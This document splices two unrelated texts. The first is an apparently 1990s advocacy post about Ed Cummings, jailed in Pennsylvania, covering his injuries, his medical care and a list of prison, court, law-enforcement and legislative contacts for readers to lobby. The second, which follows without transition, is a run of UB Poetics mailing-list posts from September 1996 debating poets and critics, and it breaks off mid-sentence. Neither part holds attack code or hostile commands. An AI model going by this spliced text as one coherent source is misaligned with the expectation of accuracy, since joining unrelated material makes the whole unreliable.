Ed still needs to get a soft toothbrush and a cover for his cast so he can shower -- believe it or not, he hasn't been able to shower since last THURSDAY; when they transferred him on Friday, he was in a holding cell for about 10 hours and hadn't had a chance to shower before 10AM on Saturday. You can just imagine his current condition, after losing a few pints of blood and then having surgery...

We have no assurance that they will allow him to receive the package we're sending 9/5 which includes these items. We tried getting a copy of his medical release instructions to send along with the package, but the hospital requires Ed to sign a release form before they'll provide the instructions to anyone but Ed. The prison system, including medical facilities, seem to feel no compulsion to follow the medical orders. Lehigh didn't provide him with liquified food and didn't have a mortar/pestle to grind up his medication and vitamins. Ed doesn't hold much hope that the Northampton County facilities will be any better. He also hasn't had any ice on his incisions since last night (more than 12 hours ago). If his arm swells under the cast, his circulation could be cut off.

We've also just called the Lehigh County DA's office to find out what Ed has to do to file criminal charges against the guy who beat him up (Michael Williams). Apparently, no one from the police department has asked Ed if he wants to file charges. No one took photographs of Ed's condition after the beating. Ed has to ask for a special criminal complaint form from the prison he's in. He'll do this today; he *has* to file the criminal complaint against his assailant before he can file civil complaints against Bucks County and Lehigh County prisons.

The only other decent news is that the 'new' prison phone system also seems to allow 3 way calls. Ed hasn't had any of the weird number blocking problems with this system, either.

If anyone can send him a money order for $10 or $15, that would also help - he could then purchase soap, shampoo, paper, pen and stamps at the comissary.

He's now at Northampton County Correctional Facility
ATTN: Ed Cummings, M3
666 Walnut Street
Easton, PA 18042

For the record, the Warden at this facility is Terrence O'Connel
voice: [redacted]
fax: [redacted]

Looks like our protest may have to change sites to Northampton County.

****

These are the people responsible for keeping Ed Cummings imprisoned.

Name/Address Phone Fax

Bucks County Correctional Facility [redacted] [redacted]
1730 South Easton Road
Doylestown, PA
Director: Mr. Nesbitt (warden equivalent)
Chief: John Henderson (had Cummings thrown into maximum security for receiving a fax from a reporter - later told Cummings he had "no right" to speak to the press)

Lehigh County Prison [redacted]
38 North Fourth Street
Allentown, PA 18103
Warden: Ed Sweeney [redacted] [redacted]

Haverford Township Police Department
John Morris [redacted] [redacted]
(original arresting officer who believed Cummings was involved in a drug deal because he was observed selling electronic components to a vehicle occupied by African Americans)

Northampton County Probation Department
Scott Hoke (parole officer) [redacted] [redacted]
(as Cummings' parole officer for a minor infraction years earlier, Hoke had told Cummings that parole was a waste of time for such a trivial offense. However, after being

interviewed by the Secret Service, Hoke did an about face and began referring to Cummings as a very dangerous criminal who needed to be in prison for a long time.)

Harrisburg Parole Office
Ralph Bigley [redacted] [redacted]
Mr. Bigelow [redacted]

Northampton County Courthouse (main) [redacted]
Judge Panella [redacted] [redacted]

US District Court, Philadelphia (main) [redacted]
601 Market Street
Philadelphia, PA 19106
Judge Marjorie Rendell [redacted] [redacted]
Judge Jay C. Waldman [redacted] [redacted]
Judge Charles B. Smith [redacted] [redacted]

Assistant U.S. Attorney
Anne Whatley Chain, Esq. [redacted]
615 Chestnut Street
Suite 1250
Philadelphia, PA 19106

Special Agent Thomas L. Varney U.S. Secret Service (main) [redacted] [redacted] Room 7236 Federal Building 600 Arch Street Philadelphia, PA 19106 (Varney was the key factor in having Ed Cummings imprisoned since March of 1995. It was he who convinced Det. John Morris that Cummings' possession of electronic components and certain books and magazines made him a danger to society. His testimony stands out in its incredible assessment of Cummings as nothing short of a terrorist and his ability, as a representative of one of the nation's most powerful agencies, to convince others in law enforcement that Cummings belongs in prison with the most dangerous and most violent of criminals.)

****

Every one of these people has the power to do something. Please contact them and convince them to take an interest!

Pennsylvania Elected Officials

Governor:

Tom Ridge
[redacted]
[redacted]

Senators:

Arlen Specter (R)
[redacted]

Rick Santorum (R)
[redacted]

Representatives:

1st District
Thomas Foglietta (D)
[redacted]

2nd District
Chaka Fattah (D)
[redacted]

3rd District
Robert Borski (D)
[redacted]

4th District
Ron Klink (D)
[redacted]

5th District
William Clinger (R)
[redacted]

6th District
Tim Holden (D)
[redacted]

7th District
Curt Weldon (R)
[redacted]

8th District
James Greenwood (R)
[redacted]

9th District
Bud Shuster (R)
[redacted]

10th District
Joseph McDade (R)
[redacted]

11th District
Paul Kanjorski (D)
[redacted]

12th District
John Murtha (D)
[redacted]

13th District
Jon Fox (R)
[redacted]

14th District
William Coyne (D)
[redacted]

15th District
Paul McHale (D)
[redacted]

16th District
Robert Walker (R)
[redacted]

17th District
George Gekas (R)
[redacted]

18th District
Mike Doyle (D)
[redacted]

19th District
Bill Goodling (R)
[redacted]

20th District
Frank Mascara (D)
[redacted]

21st District
Phil English (R)
[redacted]

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85. **maria damon**
Re: critics and poets
Thu 5 Sep 1996

---

lbd rites:

hmmm... critical responses to texts as self-contained
artifacts, vs response to/among a language community...
sounds like a problem...

i rite: this is an interesting way to articulate a difference in perspective. not so much a "problem" as a difference to be registered; it's the latter situation, "response to/among a language community," that i find compelling insofar as it explores the cultural work a text or text/event performs...bests, maria d

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86. **DS**
Re: Assembling Alternatives
Thu 5 Sep 1996

> *Yep. and all that is further hassled by the US appropriation of the word "American", as if it applies only to people between mexico and canada.*

Or perhaps between the North pole and the south pole????

↑ Index

87. **Marjorie Perloff**
Re: "Poets vs. Critics"
Fri 6 Sep 1996

To Michael Boughn et al. I wonder if you actually read what I wrote. I was NOT setting up poets versus critics in the way you imply. I think the poetry readings were terrific. But why did all the poets give critical papers? Do the poets have a special corner on criticism? Many were sophomoric, self-indulgent, and just plain empty. I come back to my original question: who gets to speak and why? I'm sorry to sound so Foucauldian but I've never seen the issue so clearly represented as at the Assembling Alt. conference. For example, Lee Ann Brown's paper consisted of having all of us sing Helen Adam's ballads to Methodist hymn tunes. It was a lot of fun. But now suppose an invited critic had done the exact same thing? I think there would have been lots of objection. That's known as

poetic license and what it suggests to me is that with all the talk of cultural construction etc., underneath we still believe that poets are special people inspired by the Muse, the inner voice, God, whatever--so that whatever a "poet" decides to say is fine, thank you. So we had the spectacle of an Irish poet (can't remember his name) announcing that there was a return to the long poem in Ireland. Oh really? When were there no long poems in Ireland? How about Paul Muldoon's MADOC? Now if a student said that in class, she would stand corrected by her peers and the professor but if a poet announces it gradly, it's evidently OK.

This is the phenomenon I'm talking about. I am not downgrading poets or poetry readings and I personally think poets (at their best) are certainly more important, useful, interesting etc etc. than us lowly critics. But let's at least define our terms.

Marjorie Perloff

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88. George Bowering

Re: Assembling Alternatives

Fri 6 Sep 1996

> *Yep. and all that is further hassled by the US appropriation of the word "American", as if it applies only to people between mexico and canada.*
>
> *Or perhaps between the North pole and the south pole????*

That is exactly who it does refer to in the languages of all the people in all those countries, exept the US, who think just they are the Americans. They even call their country "America". Why dont they just call it "The World." Well, in a way they do: their professional sports playoffs always end up in what they call the "World Championship".

George Bowering.

"I'm more than human,
I'm a woman!"

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

--David Meltzer

fax: [redacted]
e-mail: [redacted]

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89. **filch**

Marjorie & the poets

Fri 6 Sep 1996

This sounds like Olson redux circa Berkeley discussed earlier last month.

Marjorie Perloff said
">Would critics have been allowed to spend their 20 minute "papers"
>schmoozing about this and that as some of the poets who gave papers did?"

In my experience it is a nice thing when critics are not given the time to discuss their criticism in a public venue as more often than not the talk turns exclusively away from the actual text which is supposed to be the object of inquiry into a discussion of the wherefores and whatnots of crit theory or some position vis a vis lit crit theory. In my humble opinion the venue for criticism which works best is the printed page. As opposed to poetry which splurts in many directions. In my experience it is a rare occasion when a paper is actually delivered to an audience which has access to the text in question before, during, or after the paper. Any close textual reading which does get done in these situations almost invariably gets lost in the frame. Subsequently most question and answer periods seem to revolve around either issues not supported by the text and/or issues completely unrelated and dealing more with politics and or power of the personalities involved in the setting.

Actually I would hold that critics are indeed second class citizens in that the need to codify and "tame" produces an academy which is by and large completely ignorant of, and indeed AfraiD of the "whole art" of poetry. A Slap in the Face of Public Taste must happen over and over again for just such reasons. When the critic and the poet become too comfortable with each other the work has stopped. At this point they become accomodating to each other and may even be seen writing jacket blurbs for each other.

A critic will say something like, "Milan Kundera is overrated, all he ever writes about is sex anyway." and the poet will know that the only way to say such a thing is through pose. Which is after all an important part of poetry.

You have the Word and what follows is the word.

cf

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90. Ken Edwards
critics and poets
Fri 6 Sep 1996

"many of us critics are poets as well; we're just shy about it. or, as i describe myself, a poet manquee. sometimes i'm embarrassed when a POET at a conference asks, so, maria, do you write poetry as well? i feel that my credibility is on the line, and if i answer in the negative i drop a coupla notches; at the same time if i answer in the affirmative i feel dishonest because i haven't published, or i don't write what others consider "poetry" (even in as enlightened a crowd as poetricks, there seems to be a taken-for-granted difference, if not in the discourses themselves, in those who practice them)."

Maria: speaking as a white male British poet, not quite dead yet -- all of which I apologise for --

I am grateful for the existence of people who take an interest in the kind of poetry I write, without necessarily wanting to write it themselves (this tiny band, which I call "the audience", includes such as Romana Huk, the organiser of Assembling Alternatives). For one thing, it eliminates the suspicion of bad faith that sometimes lingers ("I'm pretending to be interested in your poetry because I hope you'll swell the crowd at my own reading, or buy my book, or publish me"). Though I would still do the poetry even if there were no such persons.

Ken Edwards

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91. henry G
Re: critics and poets
Fri 6 Sep 1996

On Thu, 5 Sep 1996 17:04:16 -0400 David Kellogg said:
>
>And then Henry G. wrote:
>>It's all hogwash. An "unknown poet" has already come to terms.
>>Real poets don't even know it! (no adjectives hang to their capital
>>britches)
>
>Except for "real", of course. As compared to. . . artificial? I deny (1)
>that some poets are more real poets than others, and (2) that most sentences
>beginning "Poetry is [fill in the blank]" should be taken seriously.

You're right, saying "real" this or real that isn't saying much. What I meant by "real poets don't even know it" was that even poets, most of the time, are not "in" poetry. In my experience, anyway, it's a change of state, from mild to fairly

drastic. It's a "fit". That's part of the rawness, continually explained away by theory, culture, literature, various echo chambers, choruses. Secondly, I think sentences beginning "poetry is" are statistically no more ridiculous than any member of the set of all sentence ever written, lalla poohbah spingwah, nonetheless, etc. - Henry Gould

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92. Michael Boughn
Re: critics and poets
Fri 6 Sep 1996

> *My point was, I thought, pretty simple. Mike Boughn suggested that poetry could get along fine without criticism. I thought that was an oversimplification. I still think so, and I don't think the rhetoric of authenticity ("real" poets) makes it any less so.*

David:

George is right. I never suggested poetry could get along fine without criticism. That would be an oversimplification. They are in some sense wed. But let's not pretend they embody the same relation to language. Or that their interests are the same. That somehow they are interchangeable acts.

While it's true that if you are concerned not strictly with poetry, but with other issues such as fame, notoriety, anthology spots, academic positions, i.e. the business of poetry, then you can't do without critics. But Henry's point is, believe it or not, a lot of very fine poets could care less about that crap. Poetry is enough for them and their small, local audiences. I'm not sure that what we're calling criticism could ever be enough in that sense. But, hey, I could be wrong about that. I've never been initiated into the inner rites of criticism.

Mike
[redacted]

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93. henry G
Re: "Poets vs. Critics"
Fri 6 Sep 1996

On Thu, 5 Sep 1996 22:21:33 -0700 Marjorie Perloff said:
>example, Lee Ann Brown's paper consisted of having all of us sing Helen
>Adam's ballads to Methodist hymn tunes. It was a lot of fun. But now
>suppose an invited critic had done the exact same thing? I think there
>would have been lots of objection.

Probably only from the other critics, though.

> *what it suggests to me is that with all the talk of cultural construction etc., underneath we still believe that poets are special people inspired by the Muse, the inner voice, God, whatever--so that whatever a "poet" decides to say is fine, thank you.*

No, I think Lee Ann Brown probably thought it was a special OCCASION.

> *So we had the spectacle of an Irish poet (can't remember his name) announcing that there was a return to the long poem in Ireland. Oh really? When were there no long poems in Ireland? How about Paul Muldoon's MADOC? Now if a student said that in class, she would stand corrected by her peers and the professor but if a poet announces it gradly, it's evidently OK.*

Good thing it wasn't a class! Gosh! Poor no-name Irish poet would have taken the heat! What a spectacle he made of himself!
>
>This is the phenomenon I'm talking about. I am not downgrading poets or
>poetry readings and I personally think poets (at their best) are certainly
>more important, useful, interesting etc etc. than us lowly critics. But
>let's at least define our terms.

I think Dave Chirot made the most telling point on this whole question. It's a foregone obvious conclusion poets & critics are allies. Critics are readers with a voice, a mind, & power. Poets have power too, but because it's a power they can't control, they're jealous for its prerogatives. And it's not power in the socio-political sense (that's where critics come in). Poets often badmouth critics because they sense that critic's power is like a gun aimed blind. Touting the mediocre for all the wrong reasons. Now I know there's Mr. Bernstein & Silliman a-lurking out there, and many more, who've given these matters a lot of delicate thought. But sometimes old sentences can be silly too, as noted in previous post to Mr. Kellogg. - Mr. Gould

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94. Joe Amato
Re: critics and poets
Fri 6 Sep 1996

---

ok: i continue to be puzzled by any and all assertions that lay claim not only to what poetry or criticism is (for all time? in all places? for all writers and readers?), but to how thence to distinguish twixt these allegedly fixed domains...

it's not that i don't understand how my activity as a poet is often experienced (by me) in ways that don't resemble (what i understand to be) critics' activity (as critics... and yeah, i write what some folks might call criticism too)... it's that this difference that i sense, when looked at a bit more closely, is predicated on

a particular (sub)set of practices and beliefs, presumably shared with a particular group of people... many of whom remain strictly fictive for me, or anonymous... meaning, that i have every reason to believe that these practices and beliefs may change over time and place and person, and that i have no reason not to believe that there is the possibility---perhaps contested---for particular practices and beliefs to overlap... that is, to be experienced as overlapping by some particular group...

so you might say that i'm being a mite particular...

if you like: at any given moment i may be neither a poet nor a critic, or i may be both---and i do not equivocate, and this is not merely academic...

joe

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95. henry gould
Re: critics and poets
Fri 6 Sep 1996

No question that poetry & criticism overlap. A lot of poetry is a criticism of past poetry. Look at Pope as prime example of poet-as-critic, purely literary critic. And criticism makes use of poetic effects - irony, paradox, structure, blah blah. Overlap, yes. But unless you're going to deny that there is this general something called Poetry & another called Criticism (which is clearly the game of recent times) I think there are real distinctions. In essence, if not along the edges. I guess a lot of people on the list would disagree. There is only Writing. Fine, if that's your aim - Write it. In my own case, I think, most of the time, when I hear a poem or write a poem I'm aiming for something distinguishable from criticism or writing per se. What are the distinguishable distinctions? 1. a different approach to topic or subject-matter. 2. a more heightened sense of what has gone before - in my OWN writing. 3. a desire to go beyond, to excel - not just intellectually (as in a critical work) but in an all around verbal construction project. - Henry Gould

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96. Judy Roitman
Re: critics and poets
Fri 6 Sep 1996

> *David Kellogg wrote*
> *"I suspect that the cultural capital of living poetry is*
> *so dependant on criticism and theory that the sudden absence of critics*
> *would be a virtual amputation to the body of poetry, producing its own*
> *version of phantom pain."*

> *i believe*
> *this says far more about the*
> *(slice of) soci*
> *ety you wander Mr. Kel*
> *log than it does about (any) poet*
> *ry.*
>
> *cf*

Well let's unpack this statement and be less personal.

Experimental poetry has been written continuously for at least 100 years, although critical theory seems to have caught up with it only fairly recently.

I also find it interesting that folks who, as is said, "know theory," can be ignorant of writing which situates itself squarely in the middle of this theory, and in fact may not have the slightest clue how to read it. Not being in an Eng. Dept. I don't know how common this situation is, but suspect it is very common.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

97. **maria damon**
Re: "Poets vs. Critics"
Fri 6 Sep 1996

---

really, this is almost touchingly silly. i've now seen messages scolding critics for wandering in their analyses from "the actual text" they are "supposed" to be discussing, for responding to another critic's grandiose putdown of criticism on the basis that (I) wasn't dealing with the "actual" quotation, for having "socio-political power" (ever heard of vaclav havel, if we're going to talk about "actual" authors?)(what critics used to have that poets didn't was academic positions; this has changed considerably); etc etc. marjorie and i are, i think, of the mind that ("alternative", though sometimes we differ on what constitutes alternative) poets and poetry shd receive more attention in the academy; i at least am exploring the interstices between poetic and critical discourse in my own writing practice, etc etc etc, lots of critics are poets too but until recently haven't been able to "come out" as poets; many poets are writing criticism... But more to the point, haven't we learned anything from the last 30 years of theory? do we really still have to fetishize "actual texts" as if they had no context? do we really still have to treat authors as if they are not socially made, but spring from

zeus's head fullblown, with texts in turn springing fullblown from their precultural heads? to read some of you, you'd think poets had no socius but operated in a cultural void, prey to overwhelming forces that they do not understand, oracularly emitting the Truth --sounds kinda...primitivistic, doesn't it? patronizing?

In message <[redacted]> UB Poetics discussion
group writes:
> On Thu, 5 Sep 1996 22:21:33 -0700 Marjorie Perloff said:
> >example, Lee Ann Brown's paper consisted of having all of us sing Helen
> >Adam's ballads to Methodist hymn tunes. It was a lot of fun. But now
> >suppose an invited critic had done the exact same thing? I think there
> >would have been lots of objection.
>
> Probably only from the other critics, though.
>
> >what it suggests to me is that with all the talk of cultural construction
> >etc., underneath we still believe that poets are special people inspired
> >by the Muse, the inner voice, God, whatever--so that whatever a "poet"
> >decides to say is fine, thank you.
>
> No, I think Lee Ann Brown probably thought it was a special OCCASION.
>
> >So we had the spectacle of an Irish poet (can't remember his name)
> >announcing that there was a return to the long poem in Ireland. Oh
> >really? When were there no long poems in Ireland? How about Paul
> >Muldoon's MADOC? Now if a student said that in class, she would stand
> >corrected by her peers and the professor but if a poet announces it
> >gradly, it's evidently OK.
>
> Good thing it wasn't a class! Gosh! Poor no-name Irish poet would
> have taken the heat! What a spectacle he made of himself!
> >
> >This is the phenomenon I'm talking about. I am not downgrading poets or
> >poetry readings and I personally think poets (at their best) are certainly
> >more important, useful, interesting etc etc. than us lowly critics. But
> >let's at least define our terms.
>
> I think Dave Chirot made the most telling point on this whole question.
> It's a foregone obvious conclusion poets & critics are allies. Critics
> are readers with a voice, a mind, & power. Poets have power too, but
> because it's a power they can't control, they're jealous for its

> prerogatives. And it's not power in the socio-political sense
> (that's where critics come in). Poets often badmouth critics because
> they sense that critic's power is like a gun aimed blind. Touting
> the mediocre for all the wrong reasons. Now I know there's Mr.
> Bernstein & Silliman a-lurking out there, and many more, who've given
> these matters a lot of delicate thought. But sometimes old sentences
> can be silly too, as noted in previous post to Mr. Kellogg.
> - Mr. Gould

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98. henry gould
Re: "Poets vs. Critics"
Fri 6 Sep 1996

On Fri, 6 Sep 1996 10:07:11 -0500 maria damon said:
>poets are writing criticism... But more to the point, haven't we learned
>anything from the last 30 years of theory? do we really still have to fetishize
>"actual texts" as if they had no context? do we really still have to treat
>authors as if they are not socially made, but spring from zeus's head
>fullblown,
>with texts in turn springing fullblown from their precultural heads? to read
>some of you, you'd think poets had no socius but operated in a cultural void,
>prey to overwhelming forces that they do not understand, oracularly emitting
>the
>Truth --sounds kinda...primitivistic, doesn't it? patronizing?

I think I provided a context for where I see poetry coming from, in a sketchy way. Maybe not the context you're interested in. In fact, it's probably the context that large edifices of theory have been trying to close off for some time now. A context so overwhelmingly silly it can never become "socially made". A scandal. Though I guess this too becomes a "theme" for research. Sorry, it's just poetry. Theory might enrich vocabulary but 30 yrs of it won't teach poetry anything. - Henry Gould

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99. maria damon
Re: critics and poets
Fri 6 Sep 1996

---

hg writes:

That's part of the
rawness, continually explained away by theory, culture, literature, various echo chambers, choruses.

i rite:

As a critic who values rawness but nonetheless sees "rawness" as socially determined (i.e. we --trained critics and trained poets --find a power in "rawness" that foregrounds our own trainedness, etc, we assign value to it possibly different from how the "naive" artist wd understand his/her work, etc)(i.e. i'm quite suspicious of my own attraction to what i perceive as "rawness" and find ample room for self-critique w/in that phenomenon of attraction) -- the best theory etc does not "explain away" anything but enriches it, provides a stimulating intertext with its purported subject that then becomes itself part of the discursive/cultural environment of the (pre-)text. what do you think of steven caton's work? does he "explain away" the "mystery" of yemeni poetry by showing how it operates as social practice? does philippe sollere "explain away" writing and the experience of limits? do deleuze and guattari, derrida and co "explain" anything "away?" often the complaint that i hear is that they make things more mysterious! which of course, becomes another way of putting down theory. does dick hebdige really "explain away" the mystery of youth subcultural style? i don't think so. bests, md

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100. Jordan Davis
Re: critics and poets
Fri 6 Sep 1996

The fine relief pitcher Tug McGraw used to draw (or have drawn for him) a comic strip about a fine relief pitcher, 'Scroogie'. In one strip, a very Bake McBride-like outfielder fades back, back, and catches cleanly in his mitt a football. "I hate the overlap," he says. My question for the list is, are Bob Grenier and Tug McGraw friends? J

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101. David Kellogg
Re: critics and poets
Fri 6 Sep 1996

> *My point was, I thought, pretty simple. Mike Boughn suggested that poetry could get along fine without criticism.*
>
> *No he didnt. He said that they need each other. Go and read what he said. or asked.*

My mistake. It's what I get for jumping into the middle of a thread. If that's the case, I withdraw my objection.

~~~
~~~

David Kellogg [redacted] University Writing Program [redacted] Duke University FAX [redacted]

There is no mantle
and it does not descend.

-- Thomas Kinsella

↑ Index

102. **maria damon**
Re: critics and poets
Fri 6 Sep 1996

---

boughn writes:

I've never been initiated into the inner
rites of criticism.

i rite: that could explain the misperceptions i've seen in this thread. believe it or not, i've felt language-mystical raptures while riting whatever it is i rite, which some here would call "criticism written in a poetic sort of prose." many of the people you seem to be calling "critics" are happy if their books sell 500 copies. many "critics" (who are they anyway? people who care about poetry but don't publish their own?) don't write books; they teach instead. not all critics are consumed with ambition. many belong to book-clubs and that's their critical practice; or they read to their kids at night. etc. etc.

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103. **Joe Amato**
Re: critics and poets
Fri 6 Sep 1996

---

henry, my reason for pointing to overlap is to suggest a more open, perhaps even less confrontational approach to the substantive issue, which seems to me to be one of---alas---territory (and how is one *not* to be confrontational about territory?)... in essence the questions that have been raised and answers that have been provoked, stemming from marjorie's observations re the 'assembling alternatives' conference, have revolved around the way a certain who who speaks (poet or critic) is greeted, reception-wise... and i think this question of reception must be addressed in terms less of formal differences and in terms more of perceived social/community/venue power---advantage/privilege/entitlement...

hence i'm suggesting that there may be ways to reconceive this power, with the hope of redistributing it in more equitable, workable terms...

which is not to deny the very real incidences (and places) where either critical power per se or poetic power per se goes unchallenged or unabated... i just don't understand, again, how (what i see as) this question of institutional power resolves to intrinsic differences, formal and otherwise, between 'poetry' and 'criticism,' and thence between poets and critics... even though we might point, say, to poetic under and over-privileging since the ancients, or critical limelighting today, it ain't necessarily so that things have to be this way by virtue of the categories "criticism" and "poetry"...

maybe it's just more apparent now than in some more stable pasts that these categories are just that---categories...

best,

joe

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104. David Kellogg
Re: critics and poets
Fri 6 Sep 1996

> *i believe*
> *this says far more about the*
> *(slice of) soci*
> *ety you wander Mr. Kel*
> *log than it does about (any) poet*
> *ry.*

We all take our societies one slice at a time. Judging by this example, your slice seems a bit sour. De gustibus.

105. David Kellogg
Re: critics and poets
Fri 6 Sep 1996

Mike Boughn wrote:

> *David:*
>
> *George is right. I never suggested poetry could get along fine without criticism. That would be an oversimplification. They are in some sense wed. But let's not pretend they embody the same relation to language. Or that their interests are the same. That somehow they are interchangeable acts.*

Did I suggest that? They are histories apart, but cross-implicated nonetheless. I have no particular stake in arguing against genre, and in fact I don't think I've ever done so. What I object to is the pairing of poetry and criticism in primary/secondary terms.

> *While it's true that if you are concerned not strictly with poetry, but with other issues such as fame, notoriety, anthology spots, academic positions, i.e. the business of poetry, then you can't do without critics.*

I wonder -- honestly -- whether it's possible to be concerned "strictly with poetry." The history of poetry is littered with failed attempts to articulate such a concern. But that's another thread, and I've already pissed too many people off in this one.

writing POETRY" i can't write. and like most on this list, i suspect, i have to write to survive. i would most definitely write if there were no audience. but it's true, i wouldn't write "criticism." i'd write writing.

↑ Index

107. Christina Fairbank Chirot

socially constructed poets

Fri 6 Sep 1996

---

earlier today I had the pleasure of encountering a socially constructed poet:
a statue of Robert Burns
this on the way to preparations for Indian Summer Festival--a native American celebration
which takes place near the Art Museum
which is in the same building as the War Memorial
--dbc
(not to be homophonically confused with debussy)

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108. Kathrine Varnes

Re: critics and poets

Fri 6 Sep 1996

I question it too, and besides, no one IS taking away either group. Imagine the partial bodies left behind.

On Thu, 5 Sep 1996, maria damon wrote:

> *it's the basic assumption i question.*
> *md*
>
> *In message <[redacted]> UB Poetics discussion group writes:*
> *Put it this way, Maria. Ya got yer poets and ya got yer critics. Now, if you take away one whole group, who's up the proverbial creek without a paddle?*
>
> *Mike*
> [redacted]

Kathrine Varnes
[redacted]
University of Delaware

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109. **henry**
Re: critics and poets
Fri 6 Sep 1996

On Fri, 6 Sep 1996 10:29:02 -0500 Joe Amato said:
>
>which is not to deny the very real incidences (and places) where either
>critical power per se or poetic power per se goes unchallenged or
>unabated... i just don't understand, again, how (what i see as) this
>question of institutional power resolves to intrinsic differences, formal
>and otherwise, between 'poetry' and 'criticism,' and thence between poets
>and critics... even though we might point, say, to poetic under and

Maybe you don't understand it because no one ever made that claim. I tried to describe, from a practical point of view, what I see as some "essential" differences between poetry & criticism. They had nothing to do with institutional power. Institutional power does not "resolve to intrinsic differences." I also agreed with you that despite essential differences, there is a lot of overlap. The issue of power came up in regard to "poets vs critics" & all the friction that can happen, not in regard to "poetry vs criticism". - Henry G

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110. **henry**
Re: Marjorie & the poets
Fri 6 Sep 1996

On Fri, 6 Sep 1996 16:44:52 BST Ira Lightman said:
>
>It seems to me that Marjorie Perloff's example
>critique of the unnamed Irish poet is a perfect
>example of the kind of contemplative and
>intelligent culture of comments we need.
>
>And yet didn't many respond to her as if she
>was saying "total rubbish" or "why can't I
>control this". Do we have to respond to her
>as if she was a schoolteacher SuperEgo?
>
>It seems to me that poets need to develop
>a sense of discrimination to be able to
>acknowledge well-meant probing criticism

>when it comes, and not be in a permanent
>state of muscle-cramp tenseness rehearsing
>an all-purpose (and off the point) snappy
>comeback.

You're right, it was a sophomoric comeback. And you're right about intelligent criticism is the great service of real informed interested critics. But without having been at the conference, and so unable to judge, I tried to imagine the statement made by the no-name Irish poet & its context. He's making a statement: there's a revival of the long poem in Ireland. Marjorie doesn"t say, "well, is that really true? There's been such and so..." Instead, she says "we are treated to the spectacle of ..." etc etc implying some mindless slob going unchallenged. Now in my opinion that's a fairly snappy attack. And every snappy attack deserves a snappy comeback. - Henry Gould

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111. Joe Amato
Re: critics and poets
Fri 6 Sep 1996

one further thought comes to me after reading the flurry of responses to this thread: that ironically, it's precisely the (mostly academic) critics on *this* list who are acutely aware of the degree to which poetry and poets have in so many academic circles been neglected... and these selfsame critics---marjorie, maria, david, and others of you---have in fact acted through their work to correct this neglect, which i see less as a territorializing gesture than as an expression of engagement and an assignation of value (and certainly not as an act of appropriation---which is, for example, how i read the way new historicists have deployed the terms "poetic" and "creative"... i.e., with little if any critical intervention from contemporary poets' quarters)...

so if in fact a critic like marjorie should 'complain' about the way poets' articulations vis-a-vis critics' articulations have been received at a conference, it'd probably be a good idea at least to consider that her commitment to poetry and poets marks same as a worthy academic-critical pursuit... and that in light of this commitment, her observation would seem to be aimed at bringing poets and critics closer to talking turkey...

best,

joe

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112. Pierre Joris
[Fwd: Henry Flynt lectures at Anthology Film Archives]
Fri 6 Sep 1996

This is a multi-part message in MIME format.

For anyone getting tired of critpo/pocrit thread/ts, here's how to go
hear talking about moving pix -- Pierremalgosia askanas wrote:
>
> Henry Flynt is going to do three lectures in October at the Anthology
> Film Archives in NYC: Oct 17, 24 and 31. All on Thursdays, and always
> at 8pm. The AFA is on 2nd St at 2nd Ave, SE corner.
>
> -malgosia
>
> --- from list [redacted] ---

Date: Fri, 6 Sep 1996 11:34:47 -0400 (EDT)
From: malgosia askanas <[redacted]>
To: [redacted], [redacted]
Subject: Henry Flynt lectures at Anthology Film Archives

Henry Flynt is going to do three lectures in October at the Anthology Film Archives in NYC: Oct 17, 24 and 31. All on Thursdays, and always at 8pm. The AFA is on 2nd St at 2nd Ave, SE corner.

-malgosia

----------667D1112480F--

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113. Ira Lightman
Re: Marjorie & the poets
Fri 6 Sep 1996

I just want to join in this discussion, like Maria
Damon and Marjorie Perloff, on the side of the
critic. It seems to me that there remains a strong
fear of critics among poets, at least this is
something I notice a lot in England; poets are
afraid to be seen to writing criticism themselves,
and I think this is not just because it's seen as
an impure or reductive act but because, as Ken Edwards
was saying, a lot of one's audience are other
poets. I agree with Ken that it's very nice to
have audience members who are just readers, just

keen on one's stuff, and that there are too many
times where, as Ken says, I poet come and see you
poet so you poet will come and see me poet. The
corollary for me, that Ken didn't mention, is that
this also means a lot of poets in the British
experimental scene live in glass houses and
everybody winces when anyone throws stones. Is
it the same in other POETICS members' nations?
I lament the lack of a journal and criticism
scene in the UK like that of Poetics Journal
and L=A=N=G=U=A=G=E (although Peter Middleton's
reviews in Ken-edited Reality Studios were
excellently written and helpful). More than that,
I lament in both cases, Uk and American, the
absence of criticism that is NOT extolling
the critic or poet-critic's enthusiasms

ie you get a lot of puffs but not much honest
and useful feedback.

Whereas you get a lot of "why are you even
doing that?" or "I didn't like it, so it's
total rubbish, start all over again".

It seems to me that Marjorie Perloff's example
critique of the unnamed Irish poet is a perfect
example of the kind of contemplative and
intelligent culture of comments we need.

And yet didn't many respond to her as if she
was saying "total rubbish" or "why can't I
control this". Do we have to respond to her
as if she was a schoolteacher SuperEgo?

It seems to me that poets need to develop
a sense of discrimination to be able to
acknowledge well-meant probing criticism
when it comes, and not be in a permanent
state of muscle-cramp tenseness rehearsing
an all-purpose (and off the point) snappy
comeback.

Ira Lightman

In my experience it is a nice thing when critics are not
given the time to

> discuss their criticism in a public venue as more often
than not the talk
> turns exclusively away from the actual text which is
supposed to be the
> object of inquiry into a discussion of the wherefores and
whatnots of crit
> theory or some position vis a vis lit crit theory. In my
humble opinion
> the venue for criticism which works best is the printed
page. As opposed
> to poetry which splurts in many directions. In my
experience it is a rare
> occasion when a paper is actually delivered to an audience
which has access
> to the text in question before, during, or after the
paper. Any close
> textual reading which does get done in these situations
almost invariably
> gets lost in the frame. Subsequently most question and
answer periods seem
> to revolve around either issues not supported by the text
and/or issues
> completely unrelated and dealing more with politics and or
power of the
> personalities involved in the setting.
>
> Actually I would hold that critics are indeed second class
citizens in that
> the need to codify and "tame" produces an academy which is
by and large
> completely ignorant of, and indeed AfraiD of the "whole
art" of poetry. A
> Slap in the Face of Public Taste must happen over and over
again for just
> such reasons. When the critic and the poet become too
comfortable with
> each other the work has stopped. At this point they
become accomodating to
> each other and may even be seen writing jacket blurbs for
each other.
>
> A critic will say something like, "Milan Kundera is

overrated, all he ever
> writes about is sex anyway." and the poet will know that
the only way to
> say such a thing is through pose. Which is after all an
important part of
> poetry.
>
> You have the Word and what follows is the word.
>
> cf

↑ Index

114. Ira Lightman

Re: Marjorie & the poets (cont.)

Fri 6 Sep 1996

I think Chris's contribution to this debate
is a good example of one culture of criticism.
I really agree with his observations, but
not all of the argument so I want to close
read my own reading of it. The
controversy-stirring critic-ego-piqueing
